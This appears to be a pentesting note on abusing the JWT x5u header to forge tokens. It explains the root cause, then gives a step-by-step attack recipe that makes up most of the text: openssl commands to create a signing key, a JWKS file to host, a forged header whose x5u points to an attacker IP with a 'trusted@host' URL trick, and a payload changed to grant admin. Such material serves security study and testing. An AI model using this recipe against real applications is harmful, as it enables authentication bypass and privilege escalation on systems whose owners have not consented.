x5u-header-abuse
x5u Header Abuse
Misuse of the x5u (X.509 URL) header in JWT can allow an attacker to forge valid tokens and escalate privileges (e.g., become admin). JWT supports referencing a certificate or key material via a URL in the header (x5u).
If the application blindly trusts this URL, authentication can be bypassed.
What is x5u?
x5u is a JWT header parameter. It points to a remote resource containing an X.509 certificate or key material (often structured similarly to a JWKS file). The application downloads the public key from this URL to verify the token signature.
Example JWT header:
{
"alg": "RS256",
"typ": "JWT",
"x5u": "https://example.com/jwks.json"
}
Root Cause
The application:
- Accepts an
x5uURL from the token. - Fetches the public key or certificate from that URL.
- Uses it to verify the JWT signature.
If validation is in place and only checks whether the URL starts with a trusted domain (instead of strictly validating the hostname), the restriction can be bypassed. Using https://trusted.com@attacker-ip/jwks.json
Attack Flow
To exploit this issue, we can following steps:
- Generate your own RSA key pair (for example, using jwt_tool, OpenSSL or BurpSuite) like so:
openssl req -newkey rsa:2048 -nodes -keyout private.pem -x509 -days 365 -out hacker.crt -subj "/C=AU/ST=Victoria/L=Melbourne/O=PentesterLab/CN=hacker"
- Then convert it to DER and base64 encode it:
openssl x509 -in hacker.crt -outform der | base64 -w 0
- Create a JWK/JWKS file containing your public key and paste x5c value (from step 2):
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "rezydev",
"x5c": "<BASE64_CERTIFICATE_PEM>",
"alg": "RS256"
}
]
}
- Host this JWKS file on a server we control.
- Change JWT Header with following values:
{
"typ": "JWT",
"alg": "RS256",
"x5u": "http://example.com@129.154.241.42:5959/jwks.json"
}
- Change payload (e.g.,
"role": "admin"or set"username": "admin") and then sign the token with generated private key. - Application verifies using your public key → access granted.
If the application caches the JWK response, changing the key requires modifying the URL (for example, adding a query parameter) or changing file name from jwks.json to jwks1.json and so on..